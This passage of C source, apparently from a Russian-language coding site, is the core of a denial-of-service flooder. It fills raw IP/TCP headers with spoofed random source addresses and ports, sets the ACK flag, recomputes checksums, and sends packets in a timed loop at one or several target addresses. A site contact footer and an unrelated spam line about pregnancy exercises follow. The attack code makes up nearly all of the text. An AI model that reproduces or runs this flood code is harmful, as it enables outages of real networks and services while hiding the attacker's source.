    packet.ip.ip_v		= 4;
    packet.ip.ip_p		= IPPROTO_TCP;
    packet.ip.ip_tos		= 0x08;
    packet.ip.ip_id 		= rand();
    packet.ip.ip_len		= FIX(sizeof packet);
    packet.ip.ip_off		= 0; /* IP_DF? */
    packet.ip.ip_ttl		= 255;
if (!t)
    packet.ip.ip_dst.s_addr	= dstaddr;

    packet.tcp.th_flags		= TH_ACK;
    packet.tcp.th_win		= htons(16384);
    packet.tcp.th_seq		= random();
    packet.tcp.th_ack		= 0;
    packet.tcp.th_off		= 5; /* 5 */
    packet.tcp.th_urp		= 0;
    packet.tcp.th_sport		= rand();
    packet.tcp.th_dport		= rand();

if (!t)
    cksum.pseudo.daddr		= dstaddr;
    cksum.pseudo.mbz		= 0;
    cksum.pseudo.ptcl		= IPPROTO_TCP;
    cksum.pseudo.tcpl		= htons(sizeof(struct tcphdr));

    s_in.sin_family		= AF_INET;
if (!t)
    s_in.sin_addr.s_addr		= dstaddr;
    s_in.sin_port		= packet.tcp.th_dport;

    while (time(0) <= until) {
if (t) {
 int x;

for (x = 0 ; dstaddrs[x] != NULL ; x++) {
if (!strchr(dstaddrs[x], '.')) break;
packet.ip.ip_dst.s_addr     = inet_addr(dstaddrs[x]);
cksum.pseudo.daddr          = inet_addr(dstaddrs[x]);
s_in.sin_addr.s_addr        = inet_addr(dstaddrs[x]);
cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random();
++packet.ip.ip_id;
++packet.tcp.th_sport;
++packet.tcp.th_seq;
s_in.sin_port = packet.tcp.th_dport = rand();
packet.ip.ip_sum         = 0;
packet.tcp.th_sum                = 0;
cksum.tcp                        = packet.tcp;
packet.ip.ip_sum         = in_cksum((void *)&packet.ip, 20);
packet.tcp.th_sum                = in_cksum((void *)&cksum, sizeof cksum);
sendto(sock, &packet, sizeof packet, 0, (struct sockaddr *)&s_in, sizeof
s_in);
}
} else {



    cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random();
       ++packet.ip.ip_id;
       ++packet.tcp.th_sport;
       ++packet.tcp.th_seq;

       s_in.sin_port = packet.tcp.th_dport = rand();

       packet.ip.ip_sum		= 0;
       packet.tcp.th_sum		= 0;

       cksum.tcp			= packet.tcp;

       packet.ip.ip_sum		= in_cksum((void *)&packet.ip, 20);
       packet.tcp.th_sum		= in_cksum((void *)&cksum, sizeof cksum);

sendto(sock, &packet, sizeof packet, 0, (struct sockaddr *)&s_in, sizeof
s_in);
      }
    }
}

void nlstr (char *str) {
if (str[strlen(str)-1] == '\n') str[strlen(str)-1] = '\0';
}

Думаю, достаточно на сегодня :)

======================================================================
Все отзывы/предложения принимаются по адресу: ino@kodsweb.ru
					      [k0dsweb] kodsweb.ru
======================================================================

Информация для мам: гимнастика для беременных первый триместр читайте и узнавайте новое.